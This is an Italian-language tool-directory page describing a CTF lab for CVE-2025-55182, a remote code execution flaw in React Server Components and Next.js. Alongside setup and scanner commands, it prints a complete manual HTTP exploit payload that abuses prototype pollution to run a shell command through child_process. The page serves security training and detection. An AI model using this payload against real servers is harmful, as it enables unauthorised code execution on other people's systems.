Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-55182-React2Shell-Lab — Ambiente di laboratorio CTF che sfrutta CVE-2025-55182 (RCE in React Server Components) con un blog Next.js vulnerabile, script di rilevamento e payload di exploit manuali per una formazione pratica sulla sicurezza informatica. | Kitploit
Strumenti/GitHubGitHub/goultarde/cve-2025-55182-react2shell-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFApprendimento e FormazioneLab e Pratica
GitHubgoultarde/cve-2025-55182-react2shell-lab

CVE-2025-55182-React2Shell-Lab

Ambiente di laboratorio CTF che sfrutta CVE-2025-55182 (RCE in React Server Components) con un blog Next.js vulnerabile, script di rilevamento e payload di exploit manuali per una formazione pratica sulla sicurezza informatica.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
7 mesi faNon ancora revisionato

CyberSec Blog CTF - React2Shell PoC

Questo repository fornisce un ambiente CTF (Capture The Flag) vulnerabile basato su un blog di cybersecurity che utilizza Next.js e React Server Components.

CVE-2025-55182 : Vulnerabilità di esecuzione di codice in remoto (RCE) pre-autenticazione in React Server Components versioni 19.0.0, 19.1.0, 19.1.1 e 19.2.0. Il codice vulnerabile deserializza in modo non sicuro i payload delle richieste HTTP verso gli endpoint Server Function.

CVE-2025-66478 : Impatto sulle applicazioni Next.js che utilizzano l'App Router.


Descrizione del CTF

Questa sfida presenta un blog di cybersecurity con:

  • 5 articoli su temi di sicurezza (Web, React, CTF, Next.js, Deserializzazione)
  • 3 autori fittizi
  • Un'interfaccia moderna in modalità scura

Il blog utilizza versioni vulnerabili di React e Next.js, consentendo lo sfruttamento della vulnerabilità React2Shell.

Versioni vulnerabili utilizzate

PackageVersion
next16.0.6
react19.2.0
react-dom19.2.0

Come avviare il CTF

Con Docker (consigliato)

root@kitploit:~
# Construire l'image
docker build -t react2shell-poc .

# Lancer le conteneur
docker run --rm -p 127.0.0.1:3000:3000 react2shell-poc

Senza Docker

root@kitploit:~
npm install
npm run build
npm run start

Quindi, accedi a http://127.0.0.1:3000

Come rilevare la vulnerabilità

Con lo scanner AssetNote

root@kitploit:~
git clone https://github.com/assetnote/react2shell-scanner && cd react2shell-scanner
virtualenv venv && source venv/bin/activate && pip install -r requirements.txt

python3 scanner.py -u http://127.0.0.1:3000

Con Nuclei

root@kitploit:~
nuclei -t ./nuclei-template/CVE-2025-55182.yaml -u http://127.0.0.1:3000

Come sfruttare la vulnerabilità

Con lo strumento React2Shell

Vedi la cartella React2Shell/ per l'exploit Python.

Payload HTTP manuale

root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

La risposta conterrà il risultato del comando id nell'header x-action-redirect.

Riferimenti

  • Security Advisory: Critical RCE Vulnerabilities in React Server Components & Next.js
  • CVE-2025-55182 - NVD
  • CVE-2025-66478 - Next.js Security Advisory
  • React2Shell Scanner - AssetNote

CTF Challenge personalizzato basato sul template simple-nextjs-blog e sull'ambiente vulnerabile CVE-2025-55182.

Scarica lo strumento